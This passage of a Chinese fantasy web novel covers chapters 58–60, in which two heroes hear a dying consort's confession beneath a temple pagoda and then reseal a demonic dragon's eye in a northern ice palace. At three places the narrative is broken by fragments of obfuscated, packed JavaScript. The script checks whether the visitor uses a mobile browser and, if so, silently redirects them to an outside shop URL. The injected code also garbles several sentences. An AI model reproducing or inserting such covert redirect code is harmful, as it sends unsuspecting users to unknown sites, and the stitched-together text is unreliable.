“需要多久?” “快则十天,慢则一个月,”周尚书道,“太后那边的势力在阻挠,查起来很困难。但陛下已经下旨,要求彻查,他们也不敢太明目张胆。” 有了陛下的支持,事情就好办多了。 九月二十八,又一个消息传来:静太妃要去皇家寺庙“大相国寺”祈福,为太后“病体安康”诵经三日。 这个消息在宫里传开,许多人都称赞静太妃仁慈大度,不计前嫌为太后祈福。但江清砚和谢云辞却嗅到了不寻常的味道。 “这个时候去祈福?”谢云辞皱眉,“太刻意了。” “大相国寺……”江清砚想起什么,“那六处寺庙中,不包括大相国寺吧?” “不包括,大相国寺是皇家寺庙,由内务府直接管理,不归工部管,”谢云辞忽然想到什么,“等等,我查一下。” 他调来内务府的记录,果然发现:大相国寺在五年前进行过一次大规模的修缮,耗资巨大,但工程记录很简略,而且……负责监工的太监,正是曹太监! “果然,”谢云辞眼神冰冷,“大相国寺很可能也是‘烛龙之眼’的据点,而且可能是更重要的据点。静太妃这次去,绝不是简单的祈福。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863534|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我们要去吗?”江清砚问。 “去,但不能以官方的身份,”谢云辞道,“大相国寺在城郊,香客众多,我们可以扮作香客混进去。但静太妃身边肯定有高手护卫,我们必须小心。” 两人商量后决定,九月三十日,静太妃祈福的第二天,去大相国寺查探。 九月三十,秋高气爽。 大相国寺香火鼎盛,来往香客络绎不绝。江清砚和谢云辞扮作寻常香客,随着人流进入寺内。 寺内果然戒备森严,随处可见便装侍卫,眼神锐利,扫视着每一个香客。静太妃在后殿诵经,那里已经清场,普通香客不得进入。 两人在大殿上了香,捐了香油钱,然后装作随意游览的样子,在寺内走动。 江清砚注意到,大相国寺的建筑布局很奇特——不是传统的对称结构,而是呈螺旋状向中心汇聚。中心是一座九层佛塔,塔尖直指苍穹。 “这个布局……”他低声对谢云辞说,“像是一个巨大的聚灵阵。” 聚灵阵,顾名思义,是聚集天地灵气的阵法。但聚集灵气做什么? 两人绕着佛塔走了一圈,发现塔基的每一面都刻着不同的符文,有些符文和太液池底那些巨石上的很像。 “看来这里确实是重要据点,”谢云辞道,“但静太妃在这里,我们没法深入调查。” 就在他们准备离开时,一个中年和尚走了过来,双手合十:“两位施主,住持有请。” 住持? 江清砚和谢云辞对视一眼,都看到了彼此眼中的警惕。 “不知住持找我们何事?”谢云辞问。 “住持说,两位与佛有缘,想请两位喝杯茶,”和尚神色平静,“请随我来。” 两人犹豫了一下,最终还是跟了上去。大庭广众之下,对方应该不敢乱来。 和尚引着他们穿过几重殿宇,来到一处僻静的禅院。禅院里,一个白眉老僧正在煮茶,见他们进来,微微一笑:“两位施主,请坐。” 江清砚和谢云辞在蒲团上坐下,警惕地观察着四周。 “老衲慧明,是本寺住持,”老僧为他们倒茶,“两位不必紧张,老衲请两位来,是想告诉两位一些事。” “什么事?”谢云辞问。 “关于静太妃,也关于……‘烛龙之眼’,”慧明住持缓缓道,“静太妃确实与‘烛龙之眼’有关,但她与太后,不是一路人。” 果然如此。 “那她是什么人?”江清砚问。 “她是……守阵人,”慧明的眼中闪过一丝悲悯,“五十年前,永昌帝魂魄被封,布下六芒星阵镇压。但阵法需要有人维持,于是选了六个人,分别镇守六个节点。静太妃,就是镇守大相国寺节点的人。” 守阵人? “那她现在……” “她快撑不住了,”慧明叹息,“守阵人需要以自身精血维持阵法,五十年来,静太妃的精血已经耗得差不多了。所以太后才能逐渐侵蚀阵法,试图解开封印。” 原来如此。静太妃不是敌人,而是……同道? “她为什么要帮永昌帝守阵?”谢云辞不解,“永昌帝不是暴君吗?” 慧明沉默良久,才道:“因为爱。静太妃深爱永昌帝,即使知道他是错的,即使知道他已经不是人,还是愿意用一生去守护他。这五十年来,她承受的痛苦,外人无法想象。” 江清砚心中震动。五十年的守护,五十年的煎熬,只是为了一个早已逝去的、甚至可能已经变成怪物的人…… “那她现在去祈福,是……” “她想在最后时刻,见一见永昌帝,”慧明道,“她知道封印已经加固,永昌帝的魂魄很快就会彻底消散。所以想在他消散前,见他最后一面。” “在哪里见?”江清砚问。 慧明看向窗外的九层佛塔:“塔下。那里,是阵法的核心,也是永昌帝魂魄最集中的地方。” 谢云辞和江清砚对视一眼,都看到了彼此眼中的决定。 “我们要去塔下,”谢云辞道,“不是阻止她,而是……确保不会出意外。” 慧明看着他们,眼中闪过一丝赞许:“老衲就知道,两位会这么说。但塔下有阵法守护,外人进不去。除非……” “除非什么?” “除非有江家的青木玉佩,和谢家的玄铁兵符,”慧明道,“那是当年布阵时留下的钥匙,只有两把钥匙合在一起,才能打开塔下的门。” 又是钥匙…… 江清砚取出青木玉佩,谢云辞则摇头:“谢家的兵符,我们还没找到。” “不,你们已经找到了,”慧明看着江清砚,“那把匕首,就是兵符的一部分。谢家的兵符一分为二,一半在谢将军手中,另一半……就在那把匕首上。” 江清砚立刻取出从永昌帝骸骨上拔出的匕首。慧明接过,仔细端详,然后点头:“没错,就是它。现在,两把钥匙都齐了。” “但我们怎么进去?静太妃肯定在塔下。” “老衲可以带你们去,但只能送到门口,”慧明道,“至于进去之后会发生什么,就看你们的造化了。” “有劳住持。” 夜幕降临,大相国寺的香客渐渐散去。 慧明住持带着两人,悄悄来到佛塔下。塔基有一道暗门,门上两个凹槽,正是玉佩和匕首的形状。 江清砚将玉佩放入左侧凹槽,谢云辞将匕首放入右侧凹槽。门悄无声息地滑开,露出向下的石阶。 “去吧,”慧明合十,“愿佛祖保佑你们。” 两人深吸一口气,踏入了黑暗。 塔下,等待他们的,会是什么? 59. 第 59 章 第五十九章新的序章 石阶蜿蜒向下,深不见底。 江清砚和谢云辞并肩而行,手中夜明珠的光芒勉强照亮前方几步。空气中弥漫着一股陈腐的香灰味,混合着某种奇异的腥甜气息,令人不安。 走了约莫五十级台阶,前方豁然开朗——是一个巨大的地下殿堂,比清风观的地宫更加宏伟。殿堂呈圆形,穹顶高约三丈,上面绘着日月星辰的图案,在夜明珠的照耀下泛着幽暗的光。 殿堂中央,一座石台高高耸立。台上一具水晶棺椁,棺中躺着一个身着前朝龙袍的男子——正是永昌帝。但与太液池底那具骸骨不同,这里的永昌帝面色红润,如同沉睡,若非胸膛没有起伏,几乎要以为他还活着。 而水晶棺旁,静太妃跪坐着,双手合十,闭目诵经。听到脚步声,她缓缓睁开眼,看向两人。 那双眼睛已经恢复正常,没有了白日里看到的暗红色纹路,只剩下岁月沉淀的平静与沧桑。 “你们来了,”静太妃的声音很轻,带着一种奇异的空灵,“慧明应该都告诉你们了。” “太妃娘娘,”江清砚和谢云辞行礼,“我们来,是想……” “我知道,”静太妃打断他们,目光落在永昌帝的面容上,“你们想确认他是否真的会消散,想确保我不会做出疯狂的事,对吗?” 两人沉默,算是默认。 静太妃轻轻笑了,笑容里满是苦涩:“放心,我已经没有力气做任何事了。五十年的守阵,早已耗尽了我的心力。今天来,只是想……陪他最后一程。” 她伸手,隔着水晶棺抚摸永昌帝的脸颊,动作温柔如同对待最珍贵的宝物:“他曾经是个好皇帝,勤政爱民,心怀天下。但后来……他被‘烛龙教’蛊惑,走上了歧路。我劝过他,但他听不进去。” “太妃娘娘知道封魂术的真相?”江清砚问。 “知道,”静太妃点头,“但我阻止不了。‘烛龙教’的势力太大,连皇帝都能操控。我只能眼睁睁看着他一步步走向深渊,最后……变成了这样。” 她的眼中泛起泪光:“封魂术需要活人献祭,八个童男童女的心头血。我亲眼看着那些孩子被带上祭坛,却无能为力。从那天起,我就知道,我和他,都回不去了。” 谢云辞看着她:“那太妃为什么还要守阵五十年?” “因为愧疚,”静太妃闭上眼,“对那些枉死的孩子愧疚,对天下苍生愧疚。布下六芒星阵镇压他的魂魄,是当时唯一能做的。而我,自愿成为守阵人,用余生来赎罪。” 五十年……江清砚难以想象这是怎样的煎熬。 “太后知道这些吗?”他问。 “她只知道一部分,”静太妃睁开眼,“她以为封魂术能让永昌帝复活,能让她复辟前朝。但她不知道,永昌帝的魂魄早就被‘圣眼’侵蚀,变成了怪物。即使真的‘复活’,也不会是她想要的祖父,而是一个只知杀戮的恶鬼。” 所以太后和静太妃,虽然都与“烛龙之眼”有关,但目的完全不同——一个想解开封印,一个想维持封印。 “但现在封印已经加固,‘圣眼’也毁了,”谢云辞道,“永昌帝的魂魄会怎样?” “会逐渐消散,”静太妃看向水晶棺,“其实从你们毁掉‘圣眼’的那一刻起,他就开始消散了。最多再过三天,就会彻底消失,连一点痕迹都不留。” 三天…… “那太妃您……” “我会陪他到最后,”静太妃的语气很平静,“然后,我也会随他而去。这五十年的债,该还清了。” 江清砚心中涌起一股复杂的情绪。眼前这个女子,为了一个错误的爱情,为了赎罪,付出了整整一生。可恨,可怜,也可敬。 “太妃,您可知‘烛龙眠息之地’?”他忽然问。 静太妃的身体微微一震,看向他:“你们……在找那个地方?” “对,”江清砚点头,“江家和谢家,世代守护那里。但我们不知道具体位置。” 静太妃沉默良久,才缓缓道:“我知道在哪。因为永昌帝当年,也试图打开那里。” 她从袖中取出一卷帛书,递给江清砚:“这是前朝皇室秘藏的图卷,标注了‘烛龙眠息之地’的入口。永昌帝为了得到它,杀了三百多人。后来我偷了出来,一直藏在身边。” 江清砚接过帛书,展开。上面是一幅复杂的地图,山川河流标注得极其详细,中心处画着一只巨大的眼睛,眼睛下方写着两个字:“龙眠”。 位置在……北境死亡峡谷深处! 和谢云辞父亲留下的线索吻合。 “那里封印的,是什么?”谢云辞问。 静太妃摇头:“我不知道。永昌帝也不知道。他只知道,那里有‘足以倾覆人间的力量’,得到它,就能成为天下之主。但江谢两家世代守护,宁死不交钥匙,所以他始终未能得逞。” 她顿了顿,补充道:“但我听过一个传说……‘烛龙眠息之地’,封印的不是宝物,也不是力量,而是……罪。” “罪?” “上古时期,有神龙犯下大罪,被镇压在此,”静太妃的声音变得缥缈,“它的眼睛化为‘烛龙之眼’,蛊惑人间;它的身躯化为山川,镇压地底。江谢两家,就是当年镇压神龙的两位神将的后裔,世代守护封印,防止神龙苏醒。” 神龙……江清砚和谢云辞对视一眼,都看到了彼此眼中的震惊。 如果传说是真的,那“烛龙之眼”这个组织崇拜的,竟然是被镇压的罪龙? “所以太后想打开‘烛龙眠息之地’,是为了……”江清砚问。 “可能是被蛊惑,以为能获得力量,”静太妃叹息,“也可能是……她体内流着前朝皇室的血,被‘烛龙之眼’选中,成为了新的‘容器’。” 容器?什么容器? 静太妃没有解释,她的目光重新回到永昌帝身上:“我的时间不多了。最后,我想请你们帮个忙。” “太妃请说。” “等我死后,将我和他合葬,”静太妃的声音越来越轻,“不用立碑,不用祭奠,就让我们在黑暗中,永远沉睡。这是我……最后的愿望。” 江清砚看着这个为情所困、为罪所苦的女子,最终点头:“我们答应您。” “谢谢……”静太妃闭上眼睛,脸上露出解脱的笑容。 她的呼吸渐渐微弱,最终停止。身体靠着水晶棺,如同睡着了一般,安详而平静。 江清砚探了探她的脉搏,确认已经离世。 “她走了。”他轻声说。 谢云辞看着相倚而去的两人,心中五味杂陈。爱恨情仇,是非对错,在这一刻都化为尘土。五十年守阵,五十年煎熬,终于走到了尽头。 “我们走吧,”他握住江清砚的手,“让他们安静地离开。” 两人退出地下殿堂,重新关上暗门。回到地面时,慧明住持还在等他们。 “静太妃她……” “圆寂了,”江清砚合十行礼,“住持,按照太妃的遗愿,请将她与永昌帝合葬。” 慧明点头:“老衲明白。这件事,就交给老衲吧。” “有劳住持。” 离开大相国寺时,已是深夜。秋月高悬,清辉如霜。 两人走在回城的路上,谁也没有说话,心中都还沉浸在刚才的震撼中。 “清砚,”谢云辞忽然开口,“如果‘烛龙眠息之地’真的封印着罪龙,那我们要怎么办?” 江清砚看着手中的帛书,沉默良久,才道:“继续守护。这是江谢两家的使命,也是我们的责任。” “但对方是神龙……” “那又如何?”江清砚转头看他,眼中映着月光,“我们是人,但人有人的坚守,有人的勇气。先祖能做到的事,我们也能。” 谢云辞看着他那双清澈而坚定的眼睛,心中的疑虑渐渐消散。是啊,既然选择了这条路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863535|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就要走下去,无论面对什么。 “好,那我们就一起去,”他握住江清砚的手,“去北境,去死亡峡谷,找到‘烛龙眠息之地’,完成我们的使命。” “嗯,一起去。” 月光下,两人的身影被拉得很长,交织在一起。 回到谢府时,天已快亮了。 书房内,两人摊开那卷帛书,仔细研究地图。死亡峡谷在北境极寒之地,常年冰雪覆盖,地形险峻,而且有各种诡异的传说,寻常人根本不敢靠近。 “我们需要准备很多东西,”谢云辞道,“御寒的衣物、干粮、武器,还有……向导。死亡峡谷太大,没有向导,我们可能会迷路。” “向导我来找,”江清砚说,“金掌柜在北方有些关系,可以帮忙。” “好。那我负责准备物资和武器。” 两人分工合作,开始为北境之行做准备。这一去,不知要多久,也不知会遇到什么危险,必须做好万全准备。 接下来的几天,京城风平浪静。 太后“病”了,静太妃“圆寂”了,朝中那些不安分的势力也都暂时蛰伏。陛下趁机整顿朝纲,清理了一批太后安插的官员,朝局为之一清。 而江清砚和谢云辞,则悄悄做着北行的准备。 十月初三,一切准备就绪。 这天傍晚,两人在书房做最后的检查。地图、物资、武器、药物,都打包好了。明天一早,他们就出发。 “清砚,”谢云辞忽然道,“这一去,可能再也回不来了。你后悔吗?” 江清砚摇头:“不后悔。能和一起,去哪里都不后悔。” 谢云辞的心像是被什么填满了,温暖而充实。他走到江清砚身边,将他拥入怀中:“我也是。只要能和你在一起,刀山火海,也不怕。” 两人相拥,谁也没有说话,只有心跳声在寂静中清晰可闻。 窗外,秋风萧瑟,落叶纷飞。 但屋内,暖意融融。 前路虽险,但并肩同行,便无所畏惧。 次日清晨,天还未亮,两人便悄悄离开了谢府。 城门口,金掌柜已经等在那里,身边还有一个精悍的中年汉子,皮肤黝黑,眼神锐利,一看就是常年在野外行走的人。 “江公子,谢大人,这位是胡老三,北境的猎户,对死亡峡谷很熟,”金掌柜介绍,“他会带你们进山。” 胡老三抱拳行礼,声音粗犷:“两位大人放心,胡某在北境活了四十年,闭着眼睛都能走出死亡峡谷。” “有劳胡大哥。”江清砚还礼。 马车已经备好,四人上了车,朝着北城门驶去。 出城时,江清砚掀开车帘,回望了一眼京城。巍峨的城墙在晨雾中若隐若现,如同沉睡的巨兽。 他在这里经历了太多:从破庙初遇,到金殿昭雪;从蒙冤入狱,到并肩查案;从生死相托,到心意相通……这座城,见证了他和谢云辞的相遇、相知、相爱。 如今,他们要离开了,去往更遥远、更危险的地方。 但江清砚的心中,没有畏惧,只有坚定。 因为他不是一个人。 “在看什么?”谢云辞问。 “看京城,”江清砚放下车帘,“看我们开始的地方。” 谢云辞握住他的手:“等事情了结,我们还会回来的。” “嗯,还会回来的。” 马车驶出城门,朝着北方,渐行渐远。 晨光中,他们的身影消失在官道的尽头。 新的征程,开始了。 而远方,北境的雪山在阳光下闪耀,如同沉默的守护者,等待着他们的到来。 那里,有他们的使命,有他们的宿命,也有……他们的未来。 无论前路如何,他们都将一起面对。 因为,他们是彼此的光,是彼此的依靠,是彼此……生命中最重要的人。 这就够了。 60. 第 60 章 第六十章尾声:宫墙影 京城,慈宁宫。 秋风卷起落叶,在寂静的宫院内打着旋儿。曾经人来人往的慈宁宫,如今门可罗雀。太后“病”了月余,不见任何人,连最亲近的宫女太监都被遣散了。 寝殿内,帷幕低垂。 太后倚在凤榻上,面色灰败,眼窝深陷,短短月余,竟像是老了二十岁。她手中握着一枚碎裂的玉佩——那是“圣眼”的一部分,如今已经彻底失去光泽,变成普通的石块。 “娘娘,药来了。”一个老宫女端着药碗,小心翼翼地走进来。 太后没有接药,只是盯着手中的碎玉,喃喃自语:“没了……都没了……五十年的谋划,一朝尽毁……” “娘娘,您先喝药吧,”老宫女劝道,“留得青山在,不怕没柴烧。” “青山?”太后冷笑,“我的青山早就烧光了。静太妃死了,曹太监死了,圣眼毁了,连永昌帝的魂魄都散了……我还有什么?” 她忽然剧烈咳嗽起来,咳出一口黑血,溅在锦被上,触目惊心。 老宫女吓得跪倒在地:“娘娘!太医!快传太医!” “不必了,”太后摆手,声音嘶哑,“我这是遭了反噬,活不久了。只是……我不甘心啊……” 她的眼中闪过怨毒的光芒:“江清砚,谢云辞……都是他们!若不是他们,我的计划早就成功了!三皇子早就该登基了!前朝就该复辟了!” “娘娘……”老宫女泣不成声。 太后深吸一口气,强行压下咳嗽,从枕下摸出一封密信:“这个,送出去。给……那个人。” “娘娘,您这是……” “既然我失败了,那就让所有人都不得安宁,”太后的脸上露出诡异的笑容,“‘烛龙之眼’的传承不能断。那个人……会替我完成未竟之事。” 老宫女颤抖着接过密信,看到信封上的标记时,脸色骤变——那是一只燃烧的眼睛,瞳孔处写着一个字:“影”。 龙影卫?! “娘娘,这……” “去吧,”太后闭上眼睛,“这是我最后的命令。” 老宫女咬牙,将密信藏入怀中,磕了个头,匆匆离去。 寝殿内重归寂静。太后躺在榻上,看着殿顶的雕花,眼中渐渐失去神采。 她想起很多年前,自己还是赵家小姐的时候。那时家族已经没落,但她心高气傲,发誓要重振赵家荣光。后来入宫为妃,一步步爬上来,用尽了手段,终于成了太后。 可是还不够。她要的不仅仅是太后的尊荣,她要的是皇位,是让赵家的血脉重新坐上龙椅。 所以她和“烛龙之眼”合作,试图解开永昌帝的封印,让三皇子成为新的“容器”。她以为一切都在掌控之中…… “错了……都错了……”太后喃喃道,眼角滑下一滴泪,“从一开始……就错了……” 她的呼吸渐渐微弱,最终停止。 秋风从窗外吹进,拂动帷幕,如同送别的挽歌。 而此刻,千里之外的北境。 风雪漫天。 江清砚和谢云辞在胡老三的带领下,艰难地行走在死亡峡谷中。这里常年冰雪覆盖,寒风如刀,刮在脸上生疼。即使穿着厚厚的皮袄,依然能感觉到刺骨的寒意。 “两位大人,前面就是‘一线天’了,”胡老三指着前方两座高耸的冰山之间的狭窄通道,“穿过那里,就是峡谷深处。但那里……很邪门。” “怎么个邪门法?”谢云辞问。 “进去的人,很少有出来的,”胡老三的声音有些发颤,“就算出来,也多半疯了,说什么看到了‘眼睛’,听到了‘龙吟’。我们猎户都绕着那里走,从不敢靠近。” 眼睛,龙吟……和“烛龙之眼”的描述吻合。 江清砚和谢云辞对视一眼,都看到了彼此眼中的坚定。 “胡大哥,你送到这里就可以了,”谢云辞道,“剩下的路,我们自己走。” 胡老三一愣:“这……这怎么行?里面太危险了!” “正因为危险,才不能连累你,”江清砚从怀中取出一袋银子,“这些银子你拿着,回去吧。如果我们能出来,再好好谢你。” 胡老三看着那袋银子,又看看两人坚定的眼神,最终叹了口气:“那……两位大人保重。胡某在谷外等你们三天,三天后若不见你们出来,胡某就……回去报信。” “好,谢谢胡大哥。” 送走胡老三,两人站在一线天的入口,望着里面深不见底的黑暗。 “准备好了吗?”谢云辞问。 “嗯。”江清砚点头。 两人迈步走入通道。 通道很窄,仅容一人通过。两侧是光滑的冰壁,上面结着厚厚的霜,在夜明珠的光芒下泛着幽蓝的光。头顶是一线天空,但被风雪遮蔽,只能看到灰蒙蒙的一片。 走了约莫一里路,前方豁然开朗——是一个巨大的冰谷。 冰谷中央,有一座完全由冰晶构成的宫殿,巍峨壮观,美得不似人间造物。宫殿的大门敞开着,里面漆黑一片,如同巨兽的嘴巴,等待着吞噬进入者。 “就是这里了,”江清砚看着手中的帛书,又看看眼前的宫殿,“‘烛龙眠息之地’。” 两人走到宫殿门前,仰望着那高达三丈的冰晶大门。门上雕刻着一条盘旋的巨龙,龙眼处是两个凹槽,形状和青木玉佩、玄铁匕首一模一样。 江清砚取出玉佩,谢云辞取出匕首,同时放入凹槽。 冰晶大门缓缓开启,发出沉闷的轰鸣声,仿佛沉睡了千年的巨兽正在苏醒。 门内是一条长长的冰晶廊道,两侧立着冰雕的卫士,手持长矛,栩栩如生。廊道的尽头,是一扇更大的门。 两人警惕地走进去。脚下的冰面光滑如镜,倒映着他们的身影。四周寂静无声,只有他们的脚步声在回荡。 走到廊道尽头,推开第二扇门。 门内是一个巨大的冰晶殿堂。殿堂中央,是一个冰封的祭坛。祭坛上,悬浮着一颗巨大的眼睛——不是石雕,不是宝石,而是一只真正的、活生生的眼睛! 那只眼睛足有磨盘大小,瞳孔是燃烧的火焰,眼白布满了血丝。它缓缓转动,最终聚焦在江清砚和谢云辞身上。 “终于来了……” 一个古老、嘶哑、仿佛来自远古的声音在殿堂中回荡,不是从耳朵听到,而是直接响在脑海里。 “江家的血脉,谢家的血脉……我等了你们……五百年……” 江清砚握紧谢云辞的手,强压下心中的恐惧:“你就是……烛龙?” “烛龙?”那声音笑了,笑声如同冰层破裂,“不,我不是烛龙。我是烛龙的……眼睛。它的本体被镇压在更深的地方,而我,是它留在人间的……投影。” 眼睛的投影? “你们江谢两家,世代守护的,就是镇压烛龙的封印,”那声音继续道,“但封印已经开始松动了。太后那个蠢女人,以为能利用我的力量,却不知道她只是我的一颗棋子。现在她死了,但没关系……还有你们。” 它的瞳孔中,火焰燃烧得更加旺盛:“你们的血脉,比太后纯净得多。用你们的血,可以彻底解开封印,让烛龙……重临人间!” 话音刚落,殿堂四周的冰壁突然裂开,从中爬出无数冰晶构成的怪物——人形,但关节扭曲,面容狰狞,如同从噩梦中走出的恶鬼。 它们无声地嘶吼着,扑向两人! 谢云辞拔刀迎战,江清砚则迅速撒出药粉。但冰晶怪物不怕毒,药粉对它们毫无作用。 “没用的,”那声音嘲笑道,“它们是冰之傀儡,没有生命,不怕毒,不怕痛。你们唯一的生路,就是献出你们的血,解开封印。” 更多的冰晶怪物涌出,密密麻麻,如同潮水。谢云辞虽然勇猛,但双拳难敌四手,很快就被逼得节节败退。 江清砚看着那只巨大的眼睛,脑中飞快运转。封印……镇压……需要江谢两家的血脉…… 他忽然想起静太妃的话:“江家的青木生机,谢家的玄铁兵符,不仅是钥匙,也是封印的一部分。” 既然是封印的一部分,那应该能克制这只眼睛! 他看向谢云辞,两人目光交汇,瞬间明白了彼此的想法。 “云辞,掩护我!”江清砚喊道,同时咬破手指,在青木玉佩上画下一个血符。 谢云辞一刀砍翻两个冰晶怪物,退到他身边,也将血抹在匕首上。 “以我之血,唤先祖之灵——”江清砚高举玉佩,“青木生机,镇邪破妄!” “谢家血脉,守正诛邪——”谢云辞同时举起匕首,“玄铁兵符,斩妖除魔!” 两人的血滴落在冰面上,瞬间被吸收。紧接着,整个殿堂剧烈震动起来! 冰壁上浮现出金色的符文,那些符文如同活过来一般,从冰壁上脱离,在空中交织成一张巨大的网,朝着那只眼睛罩去! “不——!”眼睛发出惊恐的嘶吼,“你们怎么知道封印的咒文?!” 江清砚没有回答。其实他们不知道咒文,只是凭直觉,将血脉之力与守护的信念结合在一起。但显然,他们做对了。 金色的大网罩住眼睛,开始收缩。眼睛拼命挣扎,但无济于事。它的光芒逐渐暗淡,最终,完全被金网包裹,化为一颗黑色的珠子,落在地上。 而那些冰晶怪物,也在眼睛被封印的瞬间,全部崩解,化为冰屑。 殿堂恢复了平静。 江清砚捡起那颗黑色珠子,入手冰凉,但能感觉到里面还残留着一丝邪恶的气息。 “结束了吗?”谢云辞喘着气问。 “暂时结束了,”江清砚看着珠子,“但烛龙的本体还在更深的地方。这颗眼睛,只是它的一小部分。” “那我们要……” “加固封印,”江清砚看向祭坛,“用我们的血,加上这颗珠子,应该能让封印再维持百年。” 百年……足够后人想办法了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863536|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 两人走到祭坛前,将珠子和玉佩、匕首一起放在祭坛中心。然后同时划破手掌,让血滴落在祭坛上。 鲜血渗入祭坛,激活了更古老、更强大的阵法。金色的光芒从祭坛中爆发,照亮了整个殿堂,然后向地下深处蔓延。 他们能感觉到,地底深处,有什么东西发出了不甘的咆哮,但最终被金光镇压,重归寂静。 封印,加固了。 两人瘫坐在祭坛边,精疲力尽,但心中却无比轻松。 “结束了……”谢云辞靠在江清砚肩上,“至少,暂时结束了。” “嗯,”江清砚握住他的手,“我们完成了使命。” 他们在殿堂中休息了许久,直到体力恢复了一些,才起身离开。 走出冰晶宫殿时,外面风雪已停。阳光透过云层洒下,在冰雪上反射出耀眼的光芒。死亡峡谷依然寒冷,但那种压抑的邪恶气息已经消失。 胡老三还在谷外等他们,见到两人出来,又惊又喜:“两位大人!你们真的出来了!太好了!” “胡大哥,让你久等了,”谢云辞笑道,“事情已经解决,我们可以回去了。” “太好了!太好了!”胡老三激动得语无伦次。 三人踏上归途。 回京的路上,江清砚和谢云辞都很沉默。他们完成了使命,但心中却并不轻松。烛龙的眼睛虽然被封印,但“烛龙之眼”这个组织还在,太后虽然死了,但朝中可能还有余孽。 而且……京城里,还有一个人在等他们。 那个给过他们提示、身份神秘的黑衣人——龙影卫中的“影”。 他到底是谁?为什么要帮他们?他的真实目的是什么? 这些问题,都需要回去后一一查清。 十月底,他们终于回到了京城。 进城时,京城已经入冬。第一场雪刚刚下过,街道上还残留着薄薄的积雪。 回到谢府,一切如旧。但两人都感觉到,府里的气氛有些微妙——下人们看他们的眼神,多了几分敬畏,也多了几分担忧。 “大人,江郎中,你们可算回来了,”陈七迎上来,神色凝重,“出事了。” “什么事?” “太后……薨了。” 太后死了?虽然早有预料,但听到确切消息,两人还是心中一沉。 “还有,”陈七压低声音,“太后死前,送出了一封密信。我们截获了,但……信是给龙影卫的。” 给龙影卫?难道太后在龙影卫中也有眼线? “信的内容呢?”谢云辞问。 陈七摇头:“信是密文写的,我们破解不了。但陛下已经知道了,正在追查。” 果然,事情还没完。 两人对视一眼,都看到了彼此眼中的凝重。 前路,依然布满荆棘。 但至少,他们在一起。 这就够了。 夜幕降临,书房内烛火通明。 江清砚和谢云辞相对而坐,桌上摊着那封密信的抄本——是陈七偷偷抄下来的。虽然破解不了,但两人还是想看看。 密文很复杂,用的是一种早已失传的古文字。江清砚仔细辨认,只能认出几个字:“影……龙……醒……” 影?龙?醒? “难道是说……”谢云辞脸色一变,“龙影卫中,有人想唤醒烛龙?” 可能性很大。太后虽然死了,但她可能留下了后手,让龙影卫中的内应继续她的计划。 “我们必须告诉陛下,”江清砚道,“龙影卫是陛下直属的暗卫,如果有问题,后果不堪设想。” “但我们现在没有证据,”谢云辞皱眉,“仅凭这封密信,陛下未必会信。而且……龙影卫的首领身份神秘,连我都不知道是谁。” 这就难办了。 两人正沉思间,窗外突然传来一声轻响。 还是那块石子,还是一张纸条。 谢云辞捡起纸条,上面只有三个字: “三日后。” 又是三日后。 “他想干什么?”江清砚蹙眉。 “不管他想干什么,我们都要去,”谢云辞收起纸条,“这一次,一定要弄清楚他是谁。” “嗯。” 窗外,夜色深沉。 宫墙的影子在月光下拉得很长,如同蛰伏的巨兽。 而在某个深宫的阴影里,一个穿着龙影卫服饰的身影静静站立,手中把玩着一枚刻有眼睛图案的令牌。 他的嘴角,勾起一抹诡异的笑容。 “游戏……才刚刚开始。” 风雪又起,将一切痕迹掩盖。 但暗流,从未停歇。 新的风暴,正在酝酿。 而江清砚和谢云辞,注定还要继续他们的征程。 前路漫漫,凶险未知。 但只要携手并肩,便无所畏惧。 因为,他们是彼此的光。 是彼此……永恒的依靠。